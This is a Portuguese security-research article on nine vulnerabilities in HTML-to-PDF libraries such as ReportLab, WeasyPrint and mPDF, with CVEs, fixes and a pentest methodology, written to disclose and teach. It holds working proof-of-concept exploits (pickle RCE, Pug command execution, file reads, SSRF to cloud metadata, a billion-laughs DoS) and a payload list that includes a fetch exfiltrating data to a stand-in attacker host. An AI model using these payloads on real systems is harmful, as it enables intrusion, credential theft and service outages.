Descobrindo 0-days em Geradores HTML-to-PDF (90 milhões de alvos mensais)
- Por Pedro “gankd” Cruz — Pentest Analyst & Vulnerability Researcher na Hakai Security.
Quase toda aplicação com diversas funcionalidades emite PDF em algum momento: fatura, recibo, relatório, certificado, contrato, extrato bancário. E por trás daquele botão “Exportar PDF” quase sempre tem uma lib open-source montando um HTML com dados do usuário, jogando num parser e devolvendo o arquivo, no servidor, com acesso a filesystem, rede interna e, com alguma sorte, o endpoint de metadata da cloud.
Isso faz do gerador de PDF um dos alvos mais subestimados de uma aplicação. Só o ReportLab são 50 milhões de downloads por mês no PyPI. Some WeasyPrint, Dompdf, mPDF, TCPDF, Browsershot, ReLaXed e a superfície passa de 90 milhões de instalações por mês.
Neste artigo serão abordadas nove 0-days reais que foram encontradas nessas libs, do RCE à leitura arbitrária de arquivo. Depois dos casos, abordo numa metodologia curta que pode ser aplicada em qualquer alvo.
Sumário
- #1 — ReportLab: RCE via deserialização
- #2 — ReLaXed: RCE via Pug
- #3 — WeasyPrint: Local File Read (CVE-2024-28184)
- #4 — WeasyPrint: SSRF bypass via redirect (CVE-2025-68616)
- #5 — Browsershot: LFI via UNC
- #6 — mPDF: DoS via Billion Laughs em SVG
- #7 — Dompdf: file existence oracle
- #8 — TCPDF: file existence oracle
- #9 — mPDF: directory enumeration
O que é um gerador de PDF
Um gerador de PDF é o componente que transforma dado dinâmico, parâmetro, conteúdo de banco, input de formulário, em documento. O padrão mais comum (e o mais perigoso) é o HTML-to-PDF: a aplicação monta um template HTML, injeta os dados do usuário e entrega para uma lib renderizar. Esse processo roda no backend porque leva tempo, e é justamente aí que uma fronteira de confiança é cruzada.
Quando o input do usuário é concatenado no template sem sanitização, o renderizador passa a interpretar tags, atributos, CSS e SVG vindos do atacante. Dependendo do engine, isso vira HTML injection, SSRF, leitura de arquivo local, deserialização insegura ou até RCE. E como esses serviços rodam dentro da rede com acesso total ao servidor, um bug que parecia inofensivo vira RCE em segundos
As funcionalidades onde isso aparece são sempre as mesmas:
- Fatura, recibo, nota fiscal, comprovante de transferência
- Relatório analítico com filtro customizável
- Certificado de curso (plataformas EAD)
- Export de conta, extrato bancário
- Convite, contrato, autorização, proposta
- Ticket, voucher, ingresso
Identificando o engine
Antes de testar qualquer payload vale descobrir quem está gerando o arquivo, isso já te diz metade dos vetores que vão funcionar. A assinatura costuma estar nos metadados do próprio PDF:
exiftool fatura.pdf | grep -iE 'producer|creator'
| Producer | Onde gera | JS? |
|---|---|---|
| WeasyPrint, mPDF, TCPDF, Dompdf, ReportLab | Server-side | Não |
| wkhtmltopdf / Skia/PDF (Chromium), Browsershot, ReLaXed | Server-side | Sim |
| jsPDF, pdf-lib, html2pdf.js | Client-side | — |
A distinção server vs. client é a primeira que importa: em client-side (jsPDF, pdf-lib) o PDF nasce no browser da própria vítima, não tem alvo. Já a distinção com JS vs. sem JS decide a estratégia inteira de exploração, e é o que separa “ganhei a hunt” de “vou ter que atacar tag por tag“.
Com a assinatura em mãos, recomenda-se checar por CVEs conhecidos e comportamentos intencionais documentados da lib.
As vulnerabilidades
Nove casos reais em bibliotecas de uso recorrente no ecossistema. A pesquisa foi conduzida para explorar múltiplos vetores de HTML injection; das vulnerabilidades encontradas, seguem as mais relevantes:
| # | Lib | Classe | Impacto |
|---|---|---|---|
| 1 | ReportLab | Deserialização (pickle) |
RCE |
| 2 | ReLaXed | Template injection (Pug) | RCE |
| 3 | WeasyPrint | link rel=attachment |
Local File Read |
| 4 | WeasyPrint | SSRF bypass via redirect | SSRF |
| 5 | Browsershot | Blocklist não cobre UNC | LFI |
| 6 | mPDF | Billion Laughs em SVG | DoS |
| 7 | Dompdf | @font-face → OOM |
File existence oracle |
| 8 | TCPDF | Erro de imagem vaza path | File existence oracle |
| 9 | mPDF | file_get_contents em diretório |
Directory enumeration |
#1 — ReportLab: RCE via deserialização
Alvo: reportlab — 50,9M downloads/mês (PyPI).
Sink: reportlab/lib/utils.py::decode_label.
Fix: ReportLab 4.4.8 (15/01/2026).
ReportLab usa pickle.loads() num caminho que parecia interno:
def decode_label(label):
return pickle.loads(base64_decodebytes(label.encode('latin1')))
pickle.loads em dado não confiável é RCE, todo mundo sabe disso. O que faltava era o gatilho.
ReportLab suporta uma tag chamada <onDraw name="func" label="data"/> dentro de Paragraph. Quando a aplicação usa SimpleIndex (o jeito documentado de gerar índice remissivo) e arma o canvas com getCanvasMaker(), o método _indexAdd fica acessível pelo nome, e ele chama decode_label(label) direto.
Resultado: texto controlado pelo usuário num Paragraph é RCE quando a aplicação também usa SimpleIndex (getCanvasMaker()) ou PageAccumulator (attachToPageTemplate()), são eles que registram o callable que o <onDraw name=…> invoca pra chegar no decode_label(). Sem um dos dois armado, o <onDraw> levanta AttributeError.
Implementação vulnerável:
doc = SimpleDocTemplate("exploit.pdf")
styles = getSampleStyleSheet()
index_gadget = SimpleIndex()
gankd_input = f"<b>html injection</b>"
story = [Paragraph(gankd_input, styles['Normal']), index_gadget]
doc.build(story, canvasmaker=index_gadget.getCanvasMaker())
Exploit:
import pickle, base64, os
from reportlab.platypus import SimpleDocTemplate, Paragraph
from reportlab.lib.styles import getSampleStyleSheet
from reportlab.platypus.tableofcontents import SimpleIndex
class Exploit:
def __reduce__(self):
return (os.system, ('touch /tmp/rce_success.txt',))
payload_bin = pickle.dumps(Exploit())
malicious_label = base64.b64encode(payload_bin).decode('latin1')
doc = SimpleDocTemplate('exploit.pdf')
styles = getSampleStyleSheet()
index_gadget = SimpleIndex()
gankd_input = f"Triggering Exploit... <onDraw name='_indexAdd' label='{malicious_label}'/>"
story = [Paragraph(gankd_input, styles['Normal']), index_gadget]
try:
doc.build(story, canvasmaker=index_gadget.getCanvasMaker())
except Exception:
pass
assert os.path.exists('/tmp/rce_success.txt')
Patch oficial: https://hg.reportlab.com/hg-public/reportlab/rev/8017a5b19981. Atualize para 4.4.8 ou superior.
#2 — ReLaXed: RCE via Pug
Alvo: RelaxedJS/ReLaXed — 11,8k estrelas (distribuído via clone/Docker).
Sink: src/masterToPDF.js, pug.render(...).
O contexto que ReLaXed passa para pug.render() deixa o require do Node visível pro template. Se input do usuário concatena no fonte do template (não como local), Pug abre bloco de código com - ... e qualquer JS roda.
Cenário:
app.post('/generate-report', (req, res) => {
const userTitle = req.body.title;
const templateContent = `
h1 User Report
p Welcome to the report for: ${userTitle}
`;
fs.writeFileSync('user_report.pug', templateContent);
exec('relaxed user_report.pug', (error) => {
if (error) return res.status(500).send("Error generating PDF");
res.download('user_report.pdf');
});
});
Payload:
#{""}
- var cmd = require('child_process').execSync('id').toString()
p RCE Result: #{cmd}
Quebra o contexto de texto, abre bloco JS, carrega child_process, executa e cospe o stdout no PDF. RCE como o processo que roda o ReLaXed.
Fix: nunca concatenar input em fonte de template. Passa como locals: pug.render(template, { title: userTitle }). E tira o require do contexto.
#3 — WeasyPrint: Local File Read
Alvo: weasyprint — 26,9M downloads/mês (PyPI).
CVE: CVE-2024-28184.
Crédito: @nullie — não fui o primeiro a descobrir. Incluído porque é a primitiva que usei no engajamento que virou a CVE-2025-68616.
WeasyPrint aceita <link rel="attachment"> e o href pode ser file://. O recurso vira anexo embedado no PDF.
<link rel="attachment" href="file:///etc/passwd">
Para extrair:
$ pdfdetach -saveall attachment.pdf $ cat passwd root:x:0:0:root:/root:/bin/bash ...
Dica!
<link>não renderiza nada visível, então sanitizadores que olham só o conteúdo visual deixam passar. Sempre que existir “anexar arquivo ao PDF”, pense emfile://.
#4 — WeasyPrint: SSRF bypass via redirect
Alvo: WeasyPrint < 68.0.
Sink: default_url_fetcher em weasyprint/urls.py.
CVE: CVE-2025-68616 — CVSS 7.5 High.
Mesmo engajamento da #3. Depois do LFR, fui atrás do AWS metadata:
<link rel="attachment" href="https://169.254.169.254">
Não funcionou. O time tinha um url_fetcher customizado bloqueando strings com 169.254.169.254, localhost, etc. Defesa em profundidade, em teoria.
Na prática: WeasyPrint deixa o desenvolvedor validar URLs no url_fetcher, mas a implementação default usa urllib.request.urlopen, que segue redirects 301/302/307 sozinho, sem reentrar no fetcher. TOCTOU clássico. A URL inicial passa, o atacante responde 302 Location: http://169.254.169.254/..., e o urllib segue cego.
Filtro “seguro” da aplicação:
def secure_fetcher(url):
if "169.254.169.254" in url:
raise PermissionError(f"Access to {url} denied.")
return default_url_fetcher(url)
Redirecionador do atacante:
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def malicious():
return redirect("https://169.254.169.254", code=302)
app.run(port=1337)
Payload:
<link rel="attachment" href="https://mysite/redirect">
secure_fetcher valida mysite. Aprova. urllib segue o 302. Credencial STS no PDF.
Atualize para WeasyPrint ≥ 68.0. Advisory: GHSA-983w-rhvv-gwmv.
#5 — Browsershot: LFI via UNC
Alvo: spatie/browsershot — 1,5M instalações/mês (Packagist).
Sink: src/Browsershot.php, propriedade $unsafeProtocols.
Blacklist mal feita:
protected array $unsafeProtocols = [
'file:', 'file:/', 'file://', 'file:\\', 'file:\\\\', 'view-source',
];
Não cobre UNC. Chromium aceita \\localhost\etc\passwd e resolve como filesystem local — sem o protocolo file://.
$payload = '<iframe src="\\\\localhost/etc/passwd" width="1000" height="1000"></iframe>';
\Spatie\Browsershot\Browsershot::html($payload)->save('output.pdf');
Abre o PDF, /etc/passwd está lá.
Fix: allowlist (https://, http://, data: se necessário). Tudo o mais nega por padrão.
#6 — mPDF: DoS via Billion Laughs
Alvo: mpdf/mpdf — 2M instalações/mês (Packagist).
Sink: src/Image/Svg.php::ImageSVG.
mPDF tem um expansor manual de <!ENTITY> em SVG com preg_replace em loop. Erro clássico, contorna (bypass) todas as proteções do libxml:
if (preg_match('/<!ENTITY/si', $data)) {
preg_match_all('/<!ENTITY\s+([a-z]+)\s+\"(.*?)\">/si', $data, $ent);
for ($i = 0; $i < count($ent[0]); $i++) {
$data = preg_replace(
'/&' . preg_quote($ent[1][$i], '/') . ';/is',
$ent[2][$i],
$data
);
}
}
Cada iteração expande uma entidade em toda a string. Entidade i que referencia i-1 (já expandida) é re-expandida. Crescimento exponencial.
PoC:
$payload = ' <svg xmlns="http://www.w3.org/2000/svg" width="1" height="1"> <!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;"> <!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;"> <!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;"> <!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;"> <!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;"> <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;"> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"> <!ENTITY a "AAAAAAAAAA"> <text x="0" y="0">&i;</text> </svg>'; $mpdf = new \Mpdf\Mpdf(); $mpdf->WriteHTML($payload); $mpdf->Output();
482 bytes de entrada, ~1 GB de RAM, processo morto pelo memory_limit. Vinte requests paralelos derrubam a fleet.
Fix: deixar libxml cuidar disso. Se manter expansão manual, limitar profundidade e tamanho a cada iteração.
#7 — Dompdf: file existence oracle
Alvo: dompdf/dompdf — 5,8M instalações/mês (Packagist).
Classe: CWE-770.
CVE: CVE-2026-55555 — CVSS 6.3 Medium.
Dompdf processa @font-face com src: url(file://...). Se o arquivo existe, o engine de fontes tenta realizar o parsing pesado por declaração e exaure o limite de memória do PHP, causando um crashing. Se não existe, falha e segue.
Repetindo a mesma declaração centenas de vezes:
- Arquivo existe → OOM → fatal.
- Arquivo não existe → PDF gerado.
Bypass de chroot, porque o que vaza é só metadado de existência. PHP default memory_limit é 128M.
PoC:
$dompdf = new Dompdf(new Options());
function generate_payload($file, $iterations) {
$css = $body = '';
for ($i = 0; $i < $iterations; $i++) {
$css .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n";
$body .= "<span style=\"font-family:f{$i}\">.</span>";
}
return "<html><head><style>{$css}</style></head><body>{$body}</body></html>";
}
$payload = generate_payload('/etc/passwd', 5250);
$dompdf->loadHtml($payload);
$dompdf->render();
Quando o arquivo existe:
PHP Fatal error: Allowed memory size of 134217728 bytes exhausted
Fix: Dompdf 3.1.6+ valida o caminho do arquivo durante a resolução das URLs do stylesheet. O método resolveUrl() agora checa se o path resolvido está fora do chroot configurado. Se estiver, rejeita a importação em vez de tentar processar.
#8 — TCPDF: file existence oracle
Alvo: tecnickcom/tcpdf — 2,7M instalações/mês (Packagist).
Sink: Image() em tcpdf.php.
Quando o HTML tem <img>, TCPDF:
- Verifica
fileExists($file). Sefalse, segue em silêncio. - Se existe, chama
getimagesize(). - Se
getimagesize()falhar (diretório, ou arquivo não-imagem comoconfig.php) sem width/height explícitos no HTML, TCPDF chamaError()com mensagem que inclui o path inteiro.
| Cenário | Resultado |
|---|---|
| Arquivo não existe | PDF normal |
| Arquivo/diretório existe | TCPDF ERROR: [Image] Unable to get the size of /path/file |
PoC:
<img src="config.php"> <img src="/.env"> <img src="/admin/"> <img src="/var/backups/db.sql"> <img src="/home/deploy/.ssh/id_rsa">
TCPDF processa em ordem e morre no primeiro hit, devolvendo o path. Listas de 15k entradas funcionam num único request HTTP. WAF que olha 404 ou path traversal não vê nada, o “fuzz” acontece dentro do processo PHP.
#9 — mPDF: directory enumeration
Alvo: mpdf/mpdf — 2M instalações/mês (Packagist).
Sink: src/File/LocalContentLoader.php.
public function load($path)
{
return file_get_contents($path);
}
Se o path é um diretório existente, file_get_contents emite warning. O warning vai pra stdout, e a essa altura mPDF já começou a escrever bytes do PDF, “Output already sent”, fatal. Se o path não existe, falha silenciosa e PDF sai limpo.
Crash vs. PDF = oracle.
$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML('<img src="/var/lib/docker" />');
$mpdf->Output();
/etc existe → Linux. C:/Windows existe → Windows. /var/www/secret-project existe → tem alvo. Casa muito bem com qualquer LFI posterior.
Fix:
public function load($path)
{
if (is_dir($path)) return null;
return file_get_contents($path);
}
A metodologia
De todos os bugs identificados, utilizei a mesma metodologia. Aqui estão seis passos aplicáveis em qualquer funcionalidade de “Exportar PDF”, capazes de encontrar novas vulnerabilidades ou replicar as abordagens exploradas nas diferentes bibliotecas.
1. Leitura de metadados — Na grande maioria das aplicações, os metadados não são sanitizados. Com uma simples leitura de exiftool, é possível identificar a tecnologia utilizada. Isso determina se ela é server-side (abrindo um leque maior de ataques) ou client-side, cada uma com seus próprios vetores de exploração.
2. HTML injection — Um simples teste com tags como <b>injection-test</b> no campo que aparece no PDF (nome, descrição, observação, título). Negrito = você tem injeção. Teste também entidades HTML como & e caracteres URL-encoded (ex: > como %3E) para entender como a biblioteca parseia a entrada. O HTML injection é o vetor principal para escalar vulnerabilidades server-side.
3. JS executa? O teste que decide a hunt:
<script>document.write("js-executed")</script>
Imprimiu = engine headless (Chromium / wkhtmltopdf / Browsershot / ReLaXed). Você ganhou. Não imprimiu = WeasyPrint / mPDF / TCPDF / Dompdf / ReportLab — sem JS, mas com muita tag pra atacar. <script> filtrado? <svg onload=...> e <img src=x onerror=...>.
4a. Com JS, tudo vira código. Você tem fetch, XHR e a rede do servidor:
<!-- cloud metadata (o golpe que paga melhor) -->
<script>fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/').then(r=>r.text()).then(t=>document.body.innerText=t)</script>
<!-- arquivo local (passa mesmo quando iframe file:// é bloqueado) -->
<script>fetch('file:///etc/passwd').then(r=>r.text()).then(t=>document.body.innerText=t)</script>
<!-- exfil cego quando o PDF é descartado -->
<script>fetch('http://interno').then(r=>r.text()).then(d=>fetch('https://collab.atacante/?d='+btoa(d)))</script>
A partir daí: rede interna (http://10.0.0.1/admin, Redis, Elastic, Jenkins), port scan por timing, e RCE quando o template compila server-side (require('child_process') no Pug/EJS, foi o caso #2).
4b. Sem JS, tag por tag. Você perde o controle programático, mas ataca cada tag que dispara request:
<iframe src="file:///etc/passwd" height="1000" width="1000"></iframe> <!-- LFI -->
<iframe src="http://169.254.169.254/latest/meta-data/" width="2000"></iframe> <!-- metadata -->
<link rel="attachment" href="file:///etc/passwd"> <!-- WeasyPrint, casos #3/#4 -->
<embed src="http://169.254.169.254/" /> <!-- iframe bloqueado -->
<svg><image xlink:href="../../../etc/passwd" width="100%"/></svg> <!-- SVG path traversal -->
<style>@font-face{font-family:x;src:url('file:///etc/passwd')}</style> <!-- CSS + oracle, caso #7 -->
Blind? Aponta <img>, <link rel=stylesheet>, @import, <base> e <meta refresh> pro seu OAST e confirma a saída de rede antes de gastar tempo.
5. Filtros bloqueando a exploração? – Em muitos casos são implementadas blocklists e quase sempre temos um bypass:
- Encoding —
file://virafile:;../vira..%2f(ourldecode()decodifica depois do check, bypass de patch do TCPDF). - Protocolo alternativo — UNC
\\localhost\etc\passwdno Chromium, sem usarfile://(caso #5). - Tag alternativa —
<img>bloqueado?<input type=image>,<video>,<svg><image href>.<iframe>?<embed>,<object>. <base href>— reescreve a resolução de URL relativa da página inteira; filtro que olhasrc=não vê.- Redirect — allowlist que não revalida no hop: responde
302 Location: http://interno(caso #4). - Encoding alternativo de IP —
169.254.169.254vira[2002:a9fe:a9fe::](6to4) ou[64:ff9b::a9fe:a9fe](NAT64).IsPrivate()do stdlib não pega. - Trocar de camada — HTML filtrado → CSS → SVG inline → SVG base64 em
<img src="data:...">. Raramente os três sanitizadores cobrem o mesmo conjunto.
6. Nada reflete? Side-channel — Se você conseguiu HTML injection mas não conseguiu escalar para nada, seja por maturidade da biblioteca ou falta de código, existem side-channels que quase sempre funcionam. Tempo de resposta (port scan, descoberta de hostname), status code, crash vs. sucesso (oracle de existência de arquivo: casos #7 e #9) e mensagens de erro vazando path (caso #8) são canais viáveis. Além disso, tags como <img> podem ser usadas para descoberta de arquivos ou diretórios via importação, e em casos extremos, até cross-site leaks explorando comportamentos de tags HTML acessando a rede interna. Raramente crítico sozinho, em alguns contextos específicos pode ser combinada com outras falhas.
Conclusão
Gerador de PDF é alvo bom por três motivos: o input do usuário entra no renderizador quase intacto, o renderizador roda no servidor (com filesystem, rede interna e às vezes credencial cloud), e a superfície é absurda: cada lib tem dezenas de tags customizadas, atributos e features. Nove casos depois, o padrão fica claro: o bug quase nunca é exótico; é pickle.loads, preg_replace em loop ou um blocklist que esqueceu de um encoding.
E quando o vendor lança um patch, leia o diff antes de aceitar como definitivo. Patch bypass é algo extremamente comum.
Pra quem mantém esse tipo de serviço:
- Allowlist, nunca blocklist. Protocolo, host, path, nega por padrão.
- Revalida em cada hop. Filtro que não reentra em redirect é inútil.
- Não chama parser inseguro em dado de usuário.
pickle.loads,eval,preg_replaceem loop,unserialize()em dado externo — qualquer um é RCE/DoS no aguardo. - Engine com JS: desliga JS, isola a rede do worker, não carrega cookies de sessão real.
- Mensagem de erro genérica fecha a maior parte dos oracles.
- Classifica endereço por classe (incluindo prefixos tunelados), não por string.
IsPrivate()do stdlib não cobre 6to4/Teredo/NAT64. - Ao publicar um patch, taguea um release no mesmo dia. Fix em
mainsem tag deixa downstream cego.
Nove vulnerabilidades diferentes, todas nascendo do mesmo padrão: validação fraca em gerador de PDF server-side. Agora você sabe como procurar. Let’s hack!
Prática
O Hacking Club é uma plataforma de treinamento focada no desenvolvimento de profissionais de cibersegurança. O desafio Certifia simula um servidor com a vulnerabilidade referenciada neste artigo e pode ser utilizado para consolidar o conhecimento apresentado.